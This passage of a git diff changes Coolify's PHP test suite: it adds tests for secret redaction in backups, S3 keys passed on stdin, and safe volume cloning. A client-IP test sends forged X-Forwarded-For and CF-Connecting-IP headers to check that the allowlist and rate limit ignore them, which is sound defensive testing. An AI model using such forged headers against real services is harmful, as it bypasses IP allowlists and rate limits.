'already-removed-pr-42'")) { return Process::result( errorOutput: 'Error response from daemon: volume already-removed-pr-42 not found', exitCode: 1, @@ -115,8 +115,8 @@ it('continues removing preview volumes when an earlier volume is already absent' $this->preview->forceDelete(); - Process::assertRan(fn ($process) => str_contains($process->command, "docker volume rm -f 'already-removed-pr-42'")); - Process::assertRan(fn ($process) => str_contains($process->command, "docker volume rm -f 'app-data-pr-42'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker volume rm -f 'already-removed-pr-42'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker volume rm -f 'app-data-pr-42'")); expect(ApplicationPreview::find($this->preview->id))->toBeNull(); }); @@ -156,7 +156,7 @@ YAML, $this->preview->forceDelete(); - Process::assertRan(fn ($process) => str_contains($process->command, "docker volume rm -f '{$uuid}_db-pr-42'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker volume rm -f '{$uuid}_db-pr-42'")); expect($this->application->persistentStorages()->pluck('name')->sort()->values()->all())->toBe([ "{$uuid}_db", "{$uuid}_db-pr-43", diff --git a/tests/Feature/BackupAndNotificationRedactionTest.php b/tests/Feature/BackupAndNotificationRedactionTest.php index d27cb48ddc..ac94d48ad5 100644 --- a/tests/Feature/BackupAndNotificationRedactionTest.php +++ b/tests/Feature/BackupAndNotificationRedactionTest.php @@ -99,7 +99,7 @@ it('redacts the database password from the stored execution and the failure noti $backup = redactionMysqlBackup($this->team, $this->environment, $this->destination); $password = $backup->database->mysql_root_password; Process::fake(function ($process) use ($password) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); if (str_contains($command, 'mysqldump')) { return Process::result(errorOutput: "mysqldump: Got error: 1045: Access denied for user 'root' with password {$password}", exitCode: 1); } diff --git a/tests/Feature/BackupDirectoryPermissionsTest.php b/tests/Feature/BackupDirectoryPermissionsTest.php index 956f936e70..2f83cff9ba 100644 --- a/tests/Feature/BackupDirectoryPermissionsTest.php +++ b/tests/Feature/BackupDirectoryPermissionsTest.php @@ -52,9 +52,9 @@ function backupDirectoryDumpScript(string $sshUser): string ]); $commands = new Collection; Process::fake(function ($process) use ($commands) { - $commands->push($process->command); + $commands->push(remoteProcessScript($process)); - return Process::result(output: str_contains($process->command, 'du -b') ? '100' : ''); + return Process::result(output: str_contains(remoteProcessScript($process), 'du -b') ? '100' : ''); }); (new DatabaseBackupJob($backup))->handle(); diff --git a/tests/Feature/BackupFailureExitCodeTest.php b/tests/Feature/BackupFailureExitCodeTest.php index cd5b8d492b..d1e122dc16 100644 --- a/tests/Feature/BackupFailureExitCodeTest.php +++ b/tests/Feature/BackupFailureExitCodeTest.php @@ -57,7 +57,7 @@ beforeEach(function () { function interruptedMongodump(int $exitCode): void { Process::fake(function ($process) use ($exitCode) { - if (str_contains($process->command, 'mongodump')) { + if (str_contains(remoteProcessScript($process), 'mongodump')) { return Process::result( errorOutput: "2026-08-29T15:44:00.555+0000\tdone dumping `evolution.leaverequests` (0 documents)\n2026-08-29T15:44:00.555+0000\twriting `evolution.printagents` to `archive on stdout`", exitCode: $exitCode, @@ -86,7 +86,7 @@ it('tells why a dump stopped without an error message', function (int $exitCode, it('keeps the error of a dump that reports its own failure', function () { Process::fake(function ($process) { - if (str_contains($process->command, 'mongodump')) { + if (str_contains(remoteProcessScript($process), 'mongodump')) { return Process::result(errorOutput: 'Failed: error connecting to db server: server returned error on SASL authentication step', exitCode: 1); } diff --git a/tests/Feature/BackupRunSafetyTest.php b/tests/Feature/BackupRunSafetyTest.php index 7d7464ca24..b058cbadab 100644 --- a/tests/Feature/BackupRunSafetyTest.php +++ b/tests/Feature/BackupRunSafetyTest.php @@ -65,7 +65,7 @@ function backupRunSafetyFakeRemoteCommands(array $outputs = []): Collection { $commands = collect(); Process::fake(function ($process) use ($commands, $outputs) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands->push($command); foreach ($outputs as $needle => $output) { if (str_contains($command, $needle)) { @@ -403,7 +403,7 @@ it('fails the running backup execution and notifies the team when the worker tim $team = $this->team; $atTimeout = null; Process::fake(function ($process) use ($queuedCopy, $team, &$atTimeout) { - if (str_contains($process->command, 'pg_dump')) { + if (str_contains(remoteProcessScript($process), 'pg_dump')) { $queuedCopy->failed(new TimeoutExceededException('App\Jobs\DatabaseBackupJob has timed out.')); $execution = ScheduledDatabaseBackupExecution::query()->sole(); $atTimeout = [ diff --git a/tests/Feature/BackupS3CredentialsArgvTest.php b/tests/Feature/BackupS3CredentialsArgvTest.php new file mode 100644 index 0000000000..0cdc63c214 --- /dev/null +++ b/tests/Feature/BackupS3CredentialsArgvTest.php @@ -0,0 +1,209 @@ + 'null']); + defined('CURLOPT_RESOLVE') || define('CURLOPT_RESOLVE', 10203); + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); +}); + +afterEach(function () { + Server::flushIdentityMap(); +}); + +/** + * @return array{0: Team, 1: Server, 2: S3Storage} + */ +function s3ArgvTestSetup(string $sshUser): array +{ + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'user' => $sshUser, + 'ip' => '203.0.113.10', + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + ]); + $server->settings()->update(['is_reachable' => true, 'is_usable' => true]); + $storage = S3Storage::create([ + 'name' => 'Destination', + 'region' => 'ru-central-1', + 'key' => S3_ARGV_TEST_KEY, + 'secret' => S3_ARGV_TEST_SECRET, + 'bucket' => 'bucket', + 'endpoint' => 'https://8.8.8.8', + 'team_id' => $team->id, + 'is_usable' => true, + ]); + $disk = Mockery::mock(FilesystemAdapter::class); + $disk->shouldReceive('files')->zeroOrMoreTimes()->andReturn([]); + $disk->shouldReceive('delete')->zeroOrMoreTimes()->andReturnTrue(); + $sshDisk = Storage::fake('ssh-keys'); + Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshDisk); + Storage::shouldReceive('build')->zeroOrMoreTimes()->andReturn($disk); + + return [$team, $server, $storage]; +} + +/** + * Records the SSH processes that a backup job runs, with their stdin. + * + * @return Collection + */ +function s3ArgvTestFakeSsh(): Collection +{ + $processes = collect(); + Process::fake(function ($process) use ($processes) { + $processes->push(['command' => $process->command, 'input' => $process->input]); + $output = match (true) { + str_contains(remoteProcessScript($process), 'du -b') => '128', + str_contains(remoteProcessScript($process), 'mc pipe') => '128', + default => '', + }; + + return Process::result(output: $output); + }); + + return $processes; +} + +/** + * Runs the recorded `mc alias set` SSH process in a real shell with its stdin. Stubs for `timeout`, `ssh` + * (runs the remote command in `sh -c`, like a login shell), `sudo`, `docker` and `mc` log their arguments. + * + * @param array{command: string, input: ?string} $aliasProcess + * @return array{argv: string, mcStdin: string} + */ +function s3ArgvTestRunAliasProcess(array $aliasProcess): array +{ + $bin = sys_get_temp_dir().'/s3-argv-'.bin2hex(random_bytes(6)); + mkdir($bin); + $log = "{$bin}/argv.log"; + $stubs = [ + 'timeout' => "shift\nexec \"\$@\"", + 'ssh' => "for last; do :; done\nexec sh -c \"\$last\"", + 'sudo' => 'exec "$@"', + 'docker' => "[ \"\$1\" = exec ] || exit 0\nshift\nwhile [ \"\${1#-}\" != \"\$1\" ]; do shift; done\nshift\nexec \"\$@\"", + 'mc' => "cat > {$bin}/mc.stdin", + ]; + foreach ($stubs as $name => $body) { + file_put_contents("{$bin}/{$name}", "#!/bin/sh\nprintf '%s\\n' \"{$name} \$*\" >> {$log}\n{$body}\n"); + chmod("{$bin}/{$name}", 0755); + } + + try { + (new SymfonyProcess(['bash', '-c', $aliasProcess['command']], env: ['PATH' => "{$bin}:/usr/bin:/bin"], input: $aliasProcess['input']))->mustRun(); + + return ['argv' => (string) file_get_contents($log), 'mcStdin' => (string) file_get_contents("{$bin}/mc.stdin")]; + } finally { + array_map('unlink', glob("{$bin}/*")); + rmdir($bin); + } +} + +function s3ArgvTestAssertSecretOnlyOnStdin(Collection $processes, bool $nonRoot): void +{ + foreach ($processes as $process) { + expect($process['command'])->not->toContain(S3_ARGV_TEST_SECRET) + ->and($process['command'])->not->toContain(escapeshellarg(S3_ARGV_TEST_SECRET)) + ->and($process['command'])->not->toContain(escapeshellarg(S3_ARGV_TEST_KEY)) + ->and($process['command'])->not->toContain(base64_encode(S3_ARGV_TEST_SECRET)); + } + + $aliasProcess = $processes->sole(fn (array $process) => str_contains($process['command'], 'mc alias set')); + $run = s3ArgvTestRunAliasProcess($aliasProcess); + + expect($run['mcStdin'])->toBe(S3_ARGV_TEST_KEY."\n".S3_ARGV_TEST_SECRET."\n") + ->and($run['argv'])->toContain('mc alias set') + ->and($run['argv'])->toContain('temporary https://8.8.8.8') + ->and($run['argv'])->not->toContain(S3_ARGV_TEST_SECRET) + ->and($run['argv'])->not->toContain(S3_ARGV_TEST_KEY); + if ($nonRoot) { + expect($run['argv'])->toContain('sudo docker exec -i'); + } + expect($processes->contains(fn (array $process) => str_contains($process['command']."\n".$process['input'], "-e 'MC_REGION=ru-central-1'")))->toBeTrue(); +} + +it('passes the S3 keys of a database backup upload to mc on stdin, not in a command line', function (string $sshUser) { + [$team, $server, $storage] = s3ArgvTestSetup($sshUser); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $environment = Environment::factory()->create(['project_id' => Project::factory()->create(['team_id' => $team->id])->id]); + $database = create_standalone_postgresql($environment->id, $destination, ['status' => 'running:healthy']); + $backup = new ScheduledDatabaseBackup; + $backup->forceFill([ + 'enabled' => true, + 'save_s3' => true, + 'disable_local_backup' => true, + 's3_storage_id' => $storage->id, + 'frequency' => 'daily', + 'databases_to_backup' => 'app', + 'database_id' => $database->id, + 'database_type' => $database->getMorphClass(), + 'team_id' => $team->id, + ])->save(); + $backup->syncS3Storages([$storage->id]); + $processes = s3ArgvTestFakeSsh(); + + (new DatabaseBackupJob($backup->fresh()))->handle(); + + expect($backup->executions()->sole()->s3_uploaded)->toBeTrue(); + s3ArgvTestAssertSecretOnlyOnStdin($processes, $sshUser !== 'root'); +})->with(['root', 'deploy']); + +it('passes the S3 keys of a volume backup to mc on stdin, not in a command line', function (string $sshUser, bool $streamToS3) { + [$team, $server, $storage] = s3ArgvTestSetup($sshUser); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $environment = Environment::factory()->create(['project_id' => Project::factory()->create(['team_id' => $team->id])->id]); + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $volume = LocalPersistentVolume::create([ + 'name' => 'app-data', + 'mount_path' => '/data', + 'resource_id' => $application->id, + 'resource_type' => $application->getMorphClass(), + ]); + $backup = $volume->scheduledBackups()->create([ + 'team_id' => $team->id, + 'frequency' => 'daily', + 'save_s3' => true, + 'disable_local_backup' => $streamToS3, + 's3_storage_id' => $storage->id, + ]); + $processes = s3ArgvTestFakeSsh(); + + (new VolumeBackupJob($backup))->handle(); + + $execution = ScheduledVolumeBackupExecution::query()->sole(); + expect($execution->status)->toBe('success') + ->and($execution->s3_uploaded)->toBeTrue() + ->and($processes->contains(fn (array $process) => str_contains($process['command']."\n".$process['input'], 'mc pipe')))->toBe($streamToS3); + s3ArgvTestAssertSecretOnlyOnStdin($processes, $sshUser !== 'root'); +})->with(['root', 'deploy'])->with(['local archive upload' => false, 'S3-only stream' => true]); diff --git a/tests/Feature/BackupS3DestinationRedactionTest.php b/tests/Feature/BackupS3DestinationRedactionTest.php index 709bc05023..92deab9ded 100644 --- a/tests/Feature/BackupS3DestinationRedactionTest.php +++ b/tests/Feature/BackupS3DestinationRedactionTest.php @@ -91,7 +91,7 @@ it('redacts the credentials of every S3 destination from a database backup uploa ]); $backup->syncS3Storages($this->storages->pluck('id')->all()); Process::fake(function ($process) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: str_contains($command, 'du -b') ? '128' : ''); }); @@ -142,7 +142,7 @@ it('redacts the credentials of every S3 destination from a volume backup upload $disk->shouldReceive('delete')->zeroOrMoreTimes()->andReturnTrue(); Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshDisk); Storage::shouldReceive('build')->zeroOrMoreTimes()->andReturn($disk); - Process::fake([ + fakeRemoteProcesses([ '*du -b*' => '128', '*mc cp*' => Process::result(errorOutput: $this->uploadError, exitCode: 1), '*' => '', diff --git a/tests/Feature/BackupS3DownloadTest.php b/tests/Feature/BackupS3DownloadTest.php index a04d90950e..a43bc506ed 100644 --- a/tests/Feature/BackupS3DownloadTest.php +++ b/tests/Feature/BackupS3DownloadTest.php @@ -271,10 +271,10 @@ it('uploads the backup file from the server host with curl', function () { (new PrepareFileDownloadJob('dl-host', $this->user->id, $this->server->id, null, BACKUP_S3_DOWNLOAD_FILE, false, 'pg.dmp', $this->downloadStorage->id))->handle($downloads); expect(Cache::get(PrepareFileDownloadJob::cacheKey('dl-host')))->toMatchArray(['status' => 'ready', 'url' => 'https://s3.example.com/get']); - Process::assertRan(fn ($process) => str_contains($process->command, 'curl -fsS') - && str_contains($process->command, BACKUP_S3_DOWNLOAD_FILE) - && str_contains($process->command, 'X-Amz-Signature=abc&x=1') - && ! str_contains($process->command, 'docker exec')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'curl -fsS') + && str_contains(remoteProcessScript($process), BACKUP_S3_DOWNLOAD_FILE) + && str_contains(remoteProcessScript($process), 'X-Amz-Signature=abc&x=1') + && ! str_contains(remoteProcessScript($process), 'docker exec')); }); it('builds host file commands that the non-root sudo parser keeps whole', function () { diff --git a/tests/Feature/BackupTimeoutSecretRedactionTest.php b/tests/Feature/BackupTimeoutSecretRedactionTest.php index 9cb4ec23f8..29bf6fdefc 100644 --- a/tests/Feature/BackupTimeoutSecretRedactionTest.php +++ b/tests/Feature/BackupTimeoutSecretRedactionTest.php @@ -57,7 +57,7 @@ it('does not put the command into the error when a remote command times out', fu Process::fake(function ($process) use (&$attempts) { $attempts++; - throw backupRedactionTimeoutException($process->command, 7200); + throw backupRedactionTimeoutException(remoteProcessScript($process), 7200); }); try { @@ -94,8 +94,8 @@ it('does not put database credentials into the backup execution or the failure n 'timeout' => 600, ]); Process::fake(function ($process) { - if (str_contains($process->command, 'mysqldump')) { - throw backupRedactionTimeoutException($process->command, 600); + if (str_contains(remoteProcessScript($process), 'mysqldump')) { + throw backupRedactionTimeoutException(remoteProcessScript($process), 600); } return Process::result(output: ''); diff --git a/tests/Feature/ClientIpSpoofingTest.php b/tests/Feature/ClientIpSpoofingTest.php new file mode 100644 index 0000000000..93c2a0bf3a --- /dev/null +++ b/tests/Feature/ClientIpSpoofingTest.php @@ -0,0 +1,106 @@ +set('app.maintenance.store', 'array'); + config()->set('constants.coolify.self_hosted', true); + + InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true, 'allowed_ips' => '203.0.113.50,2001:db8::50']); + + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'owner']); + $this->apiToken = $user->createToken('client-ip', ['read'], teamId: $team->id)->plainTextToken; +}); + +/** + * An API call with a valid token: 403 when the allowed IPs block the client, 200 when they let it through. + * + * @param array $headers + */ +function apiIpCheckFromPeer(string $peer, array $headers = []): TestResponse +{ + return test() + ->withToken(test()->apiToken) + ->withHeaders($headers) + ->withServerVariables(['REMOTE_ADDR' => $peer]) + ->getJson('/api/v1/version'); +} + +it('ignores forwarded headers from a public peer for the allowed IPs', function (array $headers) { + apiIpCheckFromPeer('198.51.100.7', $headers)->assertForbidden(); +})->with([ + 'X-Forwarded-For' => [['X-Forwarded-For' => '203.0.113.50']], + 'fake Cloudflare hop' => [['X-Forwarded-For' => '104.16.0.1', 'CF-Connecting-IP' => '203.0.113.50']], +]); + +it('ignores forwarded headers from a public IPv6 peer for the allowed IPs', function (string $peer) { + apiIpCheckFromPeer($peer, ['X-Forwarded-For' => '2001:db8::50'])->assertForbidden(); +})->with(['2001:db8:ffff::7', '::ffff:198.51.100.7']); + +it('uses the forwarded client from a local reverse proxy for the allowed IPs', function (string $peer, string $client) { + apiIpCheckFromPeer($peer, ['X-Forwarded-For' => $client])->assertOk(); + apiIpCheckFromPeer($peer, ['X-Forwarded-For' => '198.51.100.7'])->assertForbidden(); +})->with([ + 'Docker network' => ['10.0.1.5', '203.0.113.50'], + 'Docker bridge' => ['172.18.0.2', '203.0.113.50'], + 'loopback' => ['127.0.0.1', '203.0.113.50'], + 'IPv6 loopback' => ['::1', '2001:db8::50'], + 'IPv6 unique local' => ['fd00::2', '2001:db8::50'], + 'IPv6 link local' => ['fe80::2', '2001:db8::50'], + 'IPv4-mapped private' => ['::ffff:10.0.1.5', '203.0.113.50'], +]); + +it('uses the Cloudflare client IP behind a local reverse proxy only when the proxy received the request from Cloudflare', function () { + apiIpCheckFromPeer('10.0.1.5', [ + 'X-Forwarded-For' => '203.0.113.50, 162.158.79.140', + 'CF-Connecting-IP' => '203.0.113.50', + ])->assertOk(); + + apiIpCheckFromPeer('10.0.1.5', [ + 'X-Forwarded-For' => '104.16.0.1, 198.51.100.7', + 'CF-Connecting-IP' => '203.0.113.50', + ])->assertForbidden(); +}); + +it('uses the Cloudflare client IP when Cloudflare connects directly', function () { + apiIpCheckFromPeer('162.158.79.140', ['CF-Connecting-IP' => '203.0.113.50'])->assertOk(); +}); + +it('keys the API rate limit by the public peer, not by forwarded headers', function () { + config()->set('api.rate_limit', 2); + InstanceSettings::query()->update(['allowed_ips' => null]); + + $push = fn (string $peer, array $headers) => test() + ->withHeaders($headers) + ->withServerVariables(['REMOTE_ADDR' => $peer]) + ->postJson('/api/v1/sentinel/push'); + + $push('198.51.100.7', ['X-Forwarded-For' => '203.0.113.1'])->assertUnauthorized(); + $push('198.51.100.7', ['X-Forwarded-For' => '203.0.113.2', 'CF-Connecting-IP' => '203.0.113.2'])->assertUnauthorized(); + $push('198.51.100.7', ['X-Forwarded-For' => '104.16.0.1', 'CF-Connecting-IP' => '203.0.113.3'])->assertStatus(429); + + $push('10.0.1.5', ['X-Forwarded-For' => '203.0.113.10'])->assertUnauthorized(); + $push('10.0.1.5', ['X-Forwarded-For' => '203.0.113.20'])->assertUnauthorized(); +}); + +it('ignores X-Forwarded-For from a public peer on cloud', function () { + config()->set('constants.coolify.self_hosted', false); + config()->set('api.rate_limit', 2); + + $push = fn (string $forwardedFor) => test() + ->withHeader('X-Forwarded-For', $forwardedFor) + ->withServerVariables(['REMOTE_ADDR' => '198.51.100.7']) + ->postJson('/api/v1/sentinel/push'); + + $push('203.0.113.1')->assertUnauthorized(); + $push('203.0.113.2')->assertUnauthorized(); + $push('203.0.113.3')->assertStatus(429); +}); diff --git a/tests/Feature/CloneArchiveDirectoryTest.php b/tests/Feature/CloneArchiveDirectoryTest.php index 92b1b2df3c..2390959188 100644 --- a/tests/Feature/CloneArchiveDirectoryTest.php +++ b/tests/Feature/CloneArchiveDirectoryTest.php @@ -47,17 +47,17 @@ beforeEach(function () { function fakeCloneArchiveServers(object $test, bool $failScp = false): void { Process::fake(function ($process) use ($test, $failScp) { - if (str_contains($process->command, 'mktemp -d')) { + if (str_contains(remoteProcessScript($process), 'mktemp -d')) { $directory = '/var/tmp/coolify-clone.'.Str::random(10); $test->mktempDirectories[] = $directory; return Process::result(output: $directory); } - if ($failScp && str_contains($process->command, ' scp ')) { + if ($failScp && str_contains(remoteProcessScript($process), ' scp ')) { return Process::result(output: '', errorOutput: 'scp failed', exitCode: 1); } - return Process::result(output: str_contains($process->command, 'docker volume inspect') ? '[]' : ''); + return Process::result(output: str_contains(remoteProcessScript($process), 'docker volume inspect') ? '[]' : ''); }); } @@ -68,7 +68,7 @@ function cloneArchiveCommands(): array { $commands = []; Process::assertRan(function ($process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); return true; }); diff --git a/tests/Feature/CloneServiceVolumeDataTest.php b/tests/Feature/CloneServiceVolumeDataTest.php index 68db8a10ba..c1343134b3 100644 --- a/tests/Feature/CloneServiceVolumeDataTest.php +++ b/tests/Feature/CloneServiceVolumeDataTest.php @@ -76,11 +76,10 @@ beforeEach(function () { */ function chainedServiceVolumeClones(): array { - $first = Bus::dispatched(CallQueuedClosure::class)->first(); + $first = Bus::dispatched(CallQueuedClosure::class)->first() ?? Bus::dispatched(VolumeCloneJob::class)->first(); expect($first)->not->toBeNull('No volume clone chain was dispatched.'); - return collect($first->chained) - ->map(fn (string $job) => unserialize($job)) + return collect([$first, ...array_map(fn (string $job) => unserialize($job), $first->chained)]) ->filter(fn ($job) => $job instanceof VolumeCloneJob) ->map(fn (VolumeCloneJob $job) => (fn () => [$this->sourceVolume, $this->targetVolume])->call($job)) ->values() diff --git a/tests/Feature/CloneVolumeDataSourceSafetyTest.php b/tests/Feature/CloneVolumeDataSourceSafetyTest.php new file mode 100644 index 0000000000..9f887e330c --- /dev/null +++ b/tests/Feature/CloneVolumeDataSourceSafetyTest.php @@ -0,0 +1,612 @@ +withoutVite(); + Server::flushIdentityMap(); + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); + config(['constants.ssh.mux_enabled' => false]); + Notification::fake(); + Process::fake(['*' => Process::result(output: '')]); + + $this->user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]); + $server = Server::factory()->create(['team_id' => $this->team->id, 'private_key_id' => $privateKey->id]); + $server->settings()->update(['is_reachable' => true, 'is_usable' => true]); + $this->destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = $this->project->environments()->first() + ?? Environment::factory()->create(['project_id' => $this->project->id]); + + $this->service = Service::factory()->create([ + 'docker_compose_raw' => CLONE_SAFETY_SERVICE_COMPOSE, + 'environment_id' => $this->environment->id, + 'server_id' => $server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + $this->service->parse(); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +/** + * Runs the queued jobs with the database driver, so every chain step and the catch callback + * are serialized and restored like on a Horizon worker. + */ +function cloneSafetyUseDatabaseQueue(): void +{ + Schema::create('jobs', function (Blueprint $table) { + $table->id(); + $table->string('queue')->index(); + $table->longText('payload'); + $table->unsignedTinyInteger('attempts'); + $table->unsignedInteger('reserved_at')->nullable(); + $table->unsignedInteger('available_at'); + $table->unsignedInteger('created_at'); + }); + config(['queue.default' => 'database']); +} + +/** + * The worker runs in the test process, so a high `--memory` keeps the default 128 MB limit from + * stopping it after the first chain step when earlier tests have grown the process. + */ +function cloneSafetyWorkQueue(): void +{ + Artisan::call('queue:work', ['connection' => 'database', '--stop-when-empty' => true, '--queue' => 'high', '--sleep' => 0, '--memory' => 4096]); +} + +/** The volume copy (`cp -a` in a helper container) fails like on a full disk; every other remote command works. */ +function cloneSafetyFailVolumeCopy(): void +{ + Process::fake(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), 'cp -a') + ? Process::result(errorOutput: 'No space left on device', exitCode: 1) + : Process::result(output: '')); +} + +/** `docker ps` (running containers only) lists the given container names; every other remote command works. */ +function cloneSafetyListRunningContainers(string ...$names): void +{ + Process::fake(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), 'docker ps --filter') + ? Process::result(output: implode("\n", $names)) + : Process::result(output: '')); +} + +function cloneSafetyMarkServiceRunning(Service $service): void +{ + $service->applications()->update(['status' => 'running:healthy']); + $service->databases()->update(['status' => 'running:healthy']); +} + +test('a failed volume copy starts the running source service again and notifies the team', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + cloneSafetyFailVolumeCopy(); + cloneSafetyMarkServiceRunning($this->service); + StopService::shouldRun()->once()->withArgs(fn (Service $service) => $service->is($this->service)); + StartService::shouldRun()->once()->withArgs(fn (Service $service) => $service->is($this->service)); + + Livewire::test(ResourceOperations::class, ['resource' => $this->service]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + cloneSafetyWorkQueue(); + + expect(DB::table('failed_jobs')->count())->toBe(1); + Notification::assertSentTo($this->team, GeneralNotification::class, function (GeneralNotification $notification) { + return $notification->success === false + && str_contains($notification->message, $this->service->name) + && str_contains($notification->message, 'No space left on device'); + }); +}); + +test('a volume copy of a stopped source service neither stops nor starts it', function () { + cloneSafetyUseDatabaseQueue(); + StopService::shouldRun()->never(); + StartService::shouldRun()->never(); + + Livewire::test(ResourceOperations::class, ['resource' => $this->service]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + cloneSafetyWorkQueue(); + + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + expect(DB::table('failed_jobs')->count())->toBe(0); + Notification::assertNothingSent(); +}); + +test('a successful volume copy stops the running source service and starts it again', function () { + cloneSafetyUseDatabaseQueue(); + cloneSafetyMarkServiceRunning($this->service); + StopService::shouldRun()->once(); + StartService::shouldRun()->once(); + + Livewire::test(ResourceOperations::class, ['resource' => $this->service]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + cloneSafetyWorkQueue(); + + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + expect(DB::table('failed_jobs')->count())->toBe(0); + Notification::assertNothingSent(); +}); + +test('a failed stop that leaves some containers of the source service running starts only the stopped containers again', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + cloneSafetyMarkServiceRunning($this->service); + cloneSafetyListRunningContainers('web-'.$this->service->uuid); + StopService::shouldRun()->once()->andReturn('docker stop timed out'); + StartService::shouldRun()->never(); + + Livewire::test(ResourceOperations::class, ['resource' => $this->service]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + cloneSafetyWorkQueue(); + + $workdir = $this->service->workdir(); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker compose --project-directory {$workdir} -f {$workdir}/docker-compose.yml --project-name {$this->service->uuid} up -d --no-recreate < /dev/null")); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), '--force-recreate')); + Notification::assertSentTo($this->team, GeneralNotification::class, fn (GeneralNotification $notification) => $notification->success === false + && str_contains($notification->message, 'did not copy') + && str_contains($notification->message, 'started its stopped containers again') + && str_contains($notification->message, 'docker stop timed out')); +}); + +test('a failed start of the stopped containers of a partly stopped source service is in the notification', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + cloneSafetyMarkServiceRunning($this->service); + Process::fake(fn (PendingProcess $process) => match (true) { + str_contains(remoteProcessScript($process), 'docker ps --filter') => Process::result(output: 'web-'.$this->service->uuid), + str_contains(remoteProcessScript($process), 'up -d --no-recreate') => Process::result(errorOutput: 'Cannot connect to the Docker daemon', exitCode: 1), + default => Process::result(output: ''), + }); + StopService::shouldRun()->once()->andReturn(null); + StartService::shouldRun()->never(); + + Livewire::test(ResourceOperations::class, ['resource' => $this->service]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + cloneSafetyWorkQueue(); + + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + Notification::assertSentTo($this->team, GeneralNotification::class, fn (GeneralNotification $notification) => str_contains($notification->message, 'did not copy') + && str_contains($notification->message, 'could not start its stopped containers again')); +}); + +test('a stop that leaves containers of the source service running copies no data', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + cloneSafetyMarkServiceRunning($this->service); + cloneSafetyListRunningContainers('web-'.$this->service->uuid); + StopService::shouldRun()->once()->andReturn(null); + StartService::shouldRun()->never(); + + Livewire::test(ResourceOperations::class, ['resource' => $this->service]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + cloneSafetyWorkQueue(); + + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + Notification::assertSentTo($this->team, GeneralNotification::class, fn (GeneralNotification $notification) => str_contains($notification->message, 'did not copy') + && str_contains($notification->message, 'web-'.$this->service->uuid)); +}); + +test('a failed stop that left the source service down starts it again', function () { + $this->team->webhookNotificationSettings()->update(['webhook_enabled' => true, 'webhook_url' => 'https://example.com/webhook']); + cloneSafetyUseDatabaseQueue(); + cloneSafetyMarkServiceRunning($this->service); + StopService::shouldRun()->once()->andReturn('docker stop timed out'); + StartService::shouldRun()->once()->withArgs(fn (Service $service) => $service->is($this->service)); + + Livewire::test(ResourceOperations::class, ['resource' => $this->service]) + ->set('cloneVolumeData', true) + ->call('cloneTo', $this->destination->uuid) + ->assertHasNoErrors(); + + cloneSafetyWorkQueue(); + + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'cp -a')); + Notification::assertSentTo($this->team, GeneralNotification::class, fn (GeneralNotification $notification) => str_contains($notification->message, 'did not copy') + && 